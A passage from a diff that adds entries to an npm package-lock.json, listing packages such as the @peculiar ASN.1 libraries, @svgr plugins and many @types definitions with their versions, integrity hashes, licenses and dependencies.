"2.8.0", + "integrity": "sha512-ohwlk+u9Rv2NOAY1c6MfHj45ATVF8R1DUN/WCgABiRtLi2ZftlZWZX7KvpAbU8v9xPcmoILfELeEABj/rn18AQ==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-pfx": { + "version": "2.8.0", + "integrity": "sha512-5yof1ytoB++RQtaFbqSUJ8pxDJtZT6vbVqZ8XoJ61ph7UjNVvfFwAilnCodqkNsAodpy13gDhoxZXw00pghnyg==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-cms": "^2.8.0", + "@peculiar/asn1-pkcs8": "^2.8.0", + "@peculiar/asn1-rsa": "^2.8.0", + "@peculiar/asn1-schema": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-pkcs8": { + "version": "2.8.0", + "integrity": "sha512-qAKXtLpBEw9LqhKpjw3ajZSXlBur+ipW+y2ivVBQAG6F6qRx94yO+1ZR4mvw+YaCfKSaOzLeYEzsPaBp4SJELA==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-pkcs9": { + "version": "2.8.0", + "integrity": "sha512-b5nDWCnkV60+cQ141D6sVVwK9nz64R5n3zSVnklGd+ECdkW2Ol3U1a6yYFlalpSOaD557yuJB64A+q42jG7lUQ==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-cms": "^2.8.0", + "@peculiar/asn1-pfx": "^2.8.0", + "@peculiar/asn1-pkcs8": "^2.8.0", + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "@peculiar/asn1-x509-attr": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-rsa": { + "version": "2.8.0", + "integrity": "sha512-zHEUlCqB2mk7x2lxDwHHJy7hWZOPdGHVlsmITWKB5/PbQo61atbu9PJ/0r9dQNMwFzbKPXZ8uK8/91eUhRznSg==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-schema": { + "version": "2.8.0", + "integrity": "sha512-7YT0U/ze0tF2QOBbE15gKZwy5tvgGyLRiRHLzhlbOpf7BT032oBSd0haZqXn5W6l26WLlu3dyxzjM+2638/z2Q==", + "license": "MIT", + "dependencies": { + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-x509": { + "version": "2.8.0", + "integrity": "sha512-N0CMuhWUzsWEVq6F1q9X6+VKUnWzSW+cSVg+aPaGGwDdbFoFWTYgin5MHwXgpWd6y9COMBxnfy/Qc+Xc7F0Zwg==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/asn1-x509-attr": { + "version": "2.8.0", + "integrity": "sha512-tHjkfS/qhMnmrlB2J9NhflQlQ7In3khO3CfmVrriOlpTeErY9ZIKOso1hQ5JQiyrJ7ShvqVPk7E5fQmbclkSKA==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.8.0", + "@peculiar/asn1-x509": "^2.8.0", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/utils": { + "version": "2.0.3", + "integrity": "sha512-+oL3HPFRIZ1St2K50lWCXiioIgSoxzz7R1J3uF6neO2yl1sgmpgY6XXJH4BdpoDkMWznQTeYF6oWNDZLCdQ4eQ==", + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/x509": { + "version": "1.14.3", + "integrity": "sha512-C2Xj8FZ0uHWeCXXqX5B4/gVFQmtSkiuOolzAgutjTfseNOHT3pUjljDZsTSxXFGgio54bCzVFqmEOUrIVk8RDA==", + "license": "MIT", + "dependencies": { + "@peculiar/asn1-cms": "^2.6.0", + "@peculiar/asn1-csr": "^2.6.0", + "@peculiar/asn1-ecc": "^2.6.0", + "@peculiar/asn1-pkcs9": "^2.6.0", + "@peculiar/asn1-rsa": "^2.6.0", + "@peculiar/asn1-schema": "^2.6.0", + "@peculiar/asn1-x509": "^2.6.0", + "pvtsutils": "^1.3.6", + "reflect-metadata": "^0.2.2", + "tslib": "^2.8.1", + "tsyringe": "^4.10.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@pnpm/config.env-replace": { + "version": "1.1.0", + "integrity": "sha512-htyl8TWnKL7K/ESFa1oW2UB5lVDxuF5DpM7tBi6Hu2LNL3mWkIzNLG6N4zoCUP1lCKNxWy/3iu8mS8MvToGd6w==", + "license": "MIT", + "engines": { + "node": ">=12.22.0" + } + }, + "node_modules/@pnpm/network.ca-file": { + "version": "1.0.2", + "integrity": "sha512-YcPQ8a0jwYU9bTdJDpXjMi7Brhkr1mXsXrUJvjqM2mQDgkRiz8jFaQGOdaLxgjtUfQgZhKy/O3cG/YwmgKaxLA==", + "license": "MIT", + "dependencies": { + "graceful-fs": "4.2.10" + }, + "engines": { + "node": ">=12.22.0" + } + }, + "node_modules/@pnpm/network.ca-file/node_modules/graceful-fs": { + "version": "4.2.10", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", + "license": "ISC" + }, + "node_modules/@pnpm/npm-conf": { + "version": "3.0.3", + "integrity": "sha512-//0sR/cow/s4ICQaYoAobOl4aU8cjU6x/V24V7XkKotb9+O+3zySIYp146vpaobYHnxa4pZX8NkV54Z5AwbDKA==", + "license": "MIT", + "dependencies": { + "@pnpm/config.env-replace": "^1.1.0", + "@pnpm/network.ca-file": "^1.0.1", + "config-chain": "^1.1.11" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.29", + "integrity": "sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==", + "license": "MIT" + }, + "node_modules/@sideway/address": { + "version": "4.1.5", + "integrity": "sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==", + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "license": "BSD-3-Clause" + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.12", + "integrity": "sha512-hhyNJ+nbR6ZR7pToHvllEFun9TL0sbL+tk/ON75lo+Xas054uez98qRbsuNt7MBCyZKK4+8Yli/OAGZhmfBZ/g==", + "license": "MIT" + }, + "node_modules/@sindresorhus/is": { + "version": "4.6.0", + "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@slorber/remark-comment": { + "version": "1.0.0", + "integrity": "sha512-RCE24n7jsOj1M0UPvIQCHTe7fI0sFL4S2nwKVWwHyVr/wI/H8GosgsJGyhnsZoGFnD/P2hLf1mSbrrgSLN93NA==", + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.1.0", + "micromark-util-symbol": "^1.0.1" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "8.0.0", + "integrity": "sha512-b9MIk7yhdS1pMCZM8VeNfUlSKVRhsHZNMl5O9SfaX0l0t5wjdgu4IDzGB8bpnGBBOjGST3rRFVsaaEtI4W6f7g==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "8.0.0", + "integrity": "sha512-BcCkm/STipKvbCl6b7QFrMh/vx00vIP63k2eM66MfHJzPr6O2U0jYEViXkHJWqXqQYjdeA9cuCl5KWmlwjDvbA==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "8.0.0", + "integrity": "sha512-5BcGCBfBxB5+XSDSWnhTThfI9jcO5f0Ai2V24gZpG+wXF14BzwxxdDb4g6trdOux0rhibGs385BeFMSmxtS3uA==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "8.0.0", + "integrity": "sha512-KVQ+PtIjb1BuYT3ht8M5KbzWBhdAjjUPdlMtpuw/VjT8coTrItWX6Qafl9+ji831JaJcu6PJNKCV0bp01lBNzQ==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "8.0.0", + "integrity": "sha512-omNiKqwjNmOQJ2v6ge4SErBbkooV2aAWwaPFs2vUY7p7GhVkzRkJ00kILXQvRhA6miHnNpXv7MRnnSjdRjK8og==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "8.0.0", + "integrity": "sha512-mURHYnu6Iw3UBTbhGwE/vsngtCIbHE43xCRK7kCw4t01xyGqb2Pd+WXekRRoFOBIY29ZoOhUCTEweDMdrjfi9g==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "8.1.0", + "integrity": "sha512-Tx8T58CHo+7nwJ+EhUwx3LfdNSG9R2OKfaIXXs5soiy5HtgoAEkDay9LIimLOcG8dJQH1wPZp/cnAv6S9CrR1Q==", + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "8.0.0", + "integrity": "sha512-DFx8xa3cZXTdb/k3kfPeaixecQLgKh5NVBMwD0AQxOzcZawK4oo1Jh9LbrcACUivsCA7TLG8eeWgrDXjTMhRmw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "8.1.0", + "integrity": "sha512-7EYDbHE7MxHpv4sxvnVPngw5fuR6pw79SkcrILHJ/iMpuKySNCl5W1qcwPEpU+LgyRXOaAFgH0KhwD18wwg6ug==", + "license": "MIT", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "8.0.0", + "@svgr/babel-plugin-remove-jsx-attribute": "8.0.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "8.0.0", + "@svgr/babel-plugin-replace-jsx-attribute-value": "8.0.0", + "@svgr/babel-plugin-svg-dynamic-title": "8.0.0", + "@svgr/babel-plugin-svg-em-dimensions": "8.0.0", + "@svgr/babel-plugin-transform-react-native-svg": "8.1.0", + "@svgr/babel-plugin-transform-svg-component": "8.0.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@svgr/core": { + "version": "8.1.0", + "integrity": "sha512-8QqtOQT5ACVlmsvKOJNEaWmRPmcojMOzCz4Hs2BGG/toAp/K38LcsMRyLp349glq5AzJbCEeimEoxaX6v/fLrA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.21.3", + "@svgr/babel-preset": "8.1.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^8.1.3", + "snake-case": "^3.0.4" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "8.0.0", + "integrity": "sha512-EbDKwO9GpfWP4jN9sGdYwPBU0kdomaPIL2Eu4YwmgP+sJeXT+L7bMwJUBnhzfH8Q2qMBqZ4fJwpCyYsAN3mt2Q==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.21.3", + "entities": "^4.4.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "8.1.0", + "integrity": "sha512-0xiIyBsLlr8quN+WyuxooNW9RJ0Dpr8uOnH/xrCVO8GLUcwHISwj1AG0k+LFzteTkAA0GbX0kj9q6Dk70PTiPA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.21.3", + "@svgr/babel-preset": "8.1.0", + "@svgr/hast-util-to-babel-ast": "8.0.0", + "svg-parser": "^2.0.4" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@svgr/core": "*" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "8.1.0", + "integrity": "sha512-Ywtl837OGO9pTLIN/onoWLmDQ4zFUycI1g76vuKGEz6evR/ZTJlJuz3G/fIkb6OVBJ2g0o6CGJzaEjfmEo3AHA==", + "license": "MIT", + "dependencies": { + "cosmiconfig": "^8.1.3", + "deepmerge": "^4.3.1", + "svgo": "^3.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + }, + "peerDependencies": { + "@svgr/core": "*" + } + }, + "node_modules/@svgr/webpack": { + "version": "8.1.0", + "integrity": "sha512-LnhVjMWyMQV9ZmeEy26maJk+8HTIbd59cH4F2MJ439k9DqejRisfFNGAPvRYlKETuh9LrImlS8aKsBgKjMA8WA==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.21.3", + "@babel/plugin-transform-react-constant-elements": "^7.21.3", + "@babel/preset-env": "^7.20.2", + "@babel/preset-react": "^7.18.6", + "@babel/preset-typescript": "^7.21.0", + "@svgr/core": "8.1.0", + "@svgr/plugin-jsx": "8.1.0", + "@svgr/plugin-svgo": "8.1.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "5.0.1", + "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", + "license": "MIT", + "dependencies": { + "defer-to-connect": "^2.0.1" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.6", + "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", + "license": "MIT", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.13", + "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.4", + "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==", + "license": "MIT", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "license": "MIT" + }, + "node_modules/@types/estree-jsx": { + "version": "1.0.5", + "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", + "license": "MIT", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/express": { + "version": "4.17.25", + "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==", + "license": "MIT", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "^1" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.19.9", + "integrity": "sha512-QP2ESEe/ImWY0HDwNAnK9PvEffUyhLTnWkk7KXzHfyeWAnlrDe1fN77bXl6ia8KT3wPlmA7t9/VPRpnf4Ex9sg==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/hast": { + "version": "3.0.5", + "integrity": "sha512-rp/ezSWaD1m44dPKICGhiskI13nVr7qTloFwDa/IYkhhf5nzwP+zIQcIJh3WIFSBOy/H1PzB40jPjMDksN4F+g==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/history": { + "version": "4.7.11", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==", + "license": "MIT" + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", + "license": "MIT" + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.2.0", + "integrity": "sha512-L3LgimLHXtGkWikKnsPg0/VFx9OGZaC+eN1u4r+OB1XRqH3meBIAVC2zr1WdMH+RHmnRkqliQAOHNJ/E0j/e0Q==", + "license": "MIT" + }, + "node_modules/@types/http-errors": { + "version": "2.0.5", + "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", + "license": "MIT" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.17", + "integrity": "sha512-ED6LB+Z1AVylNTu7hdzuBqOgMnvG/ld6wGCG8wFnAzKX5uyW2K3WD52v0gnLCTK/VLpXtKckgWuyScYK6cSPaw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "license": "MIT" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.3", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.4", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "license": "MIT" + }, + "node_modules/@types/katex": { + "version": "0.16.8", + "integrity": "sha512-trgaNyfU+Xh2Tc+ABIb44a5AYUpicB3uwirOioeOkNPPbmgRNtcWyDeeFRzjPZENO9Vq8gvVqfhaaXWLlevVwg==", + "license": "MIT" + }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mdx": { + "version": "2.0.14", + "integrity": "sha512-T48PeuJtvLosNTPVhfnIp3i/n3a4g4Bad7YCq5k64D4u7NwDrAotikQ+5+sjtUvBmxCMlbo3dVL+C2dP0rWHzg==", + "license": "MIT" + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", + "license": "MIT" + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "26.1.1", + "integrity": "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw==", + "license": "MIT", + "dependencies": { + "undici-types": "~8.3.0" + } + }, + "node_modules/@types/prismjs": { + "version": "1.26.6", + "integrity": "sha512-vqlvI7qlMvcCBbVe0AKAb4f97//Hy0EBTaiW8AalRnG/xAN5zOiWWyrNqNXeq8+KAuvRewjCVY1+IPxk4RdNYw==", + "license": "MIT" + }, + "node_modules/@types/qs": { + "version": "6.15.1", + "integrity": "sha512-GZHUBZR9hckSUhrxmp1nG6NwdpM9fCunJwyThLW1X3AyHgd9IlHb6VANpQQqDr2o/qQp6McZ3y/IA2rVzKzSbw==", + "license": "MIT" + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "19.2.17", + "integrity": "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw==", + "license": "MIT", + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-router": { + "version": "5.1.20", + "integrity": "sha512-jGjmu/ZqS7FjSH6owMcD5qpq19+1RS9DeVRqfl1FeBMxTDQAGwlMWOcs52NDoXaNKyG3d1cYQFMs9rCrb88o9Q==", + "license": "MIT", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*" + } + }, + "node_modules/@types/react-router-config": { + "version": "5.0.11", + "integrity": "sha512-WmSAg7WgqW7m4x8Mt4N6ZyKz0BubSj/2tVUMsAHp+Yd2AMwcSbeFq9WympT19p5heCFmF97R9eD5uUR/t4HEqw==", + "license": "MIT", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "^5.1.0" + } + }, + "node_modules/@types/react-router-dom": { + "version": "5.3.3", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", + "license": "MIT", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "node_modules/@types/retry": { + "version": "0.12.2", + "integrity": "sha512-XISRgDJ2Tc5q4TRqvgJtzsRkFYNJzZrhTdtMoGVBttwzzQJkPnS3WWTFc7kuDRoPtPakl+T+OfdEUjYJj7Jbow==", + "license": "MIT" + }, + "node_modules/@types/sax": { + "version": "1.2.7", + "integrity": "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/send": { + "version": "1.2.1", + "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/serve-index": { + "version": "1.9.4", + "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==", + "license": "MIT", + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.10", + "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==", + "license": "MIT", + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*", + "@types/send": "<1" + } + }, + "node_modules/@types/serve-static/node_modules/@types/send": { + "version": "0.17.6", + "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==", + "license": "MIT", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.36", + "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/unist": { + "version": "3.0.3", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "17.0.35", + "integrity": "sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg==", + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.3", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", + "license": "MIT" + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.3", + "integrity": "sha512-60YRaenCQcVjYEKOcG824+DRGGIQ3VKErcBoAEDJZz5bKIs2ZG+X/H9Nk+Q6EVkwJk5QNApxbrc5QtBSwtrXAg==", + "license": "ISC" 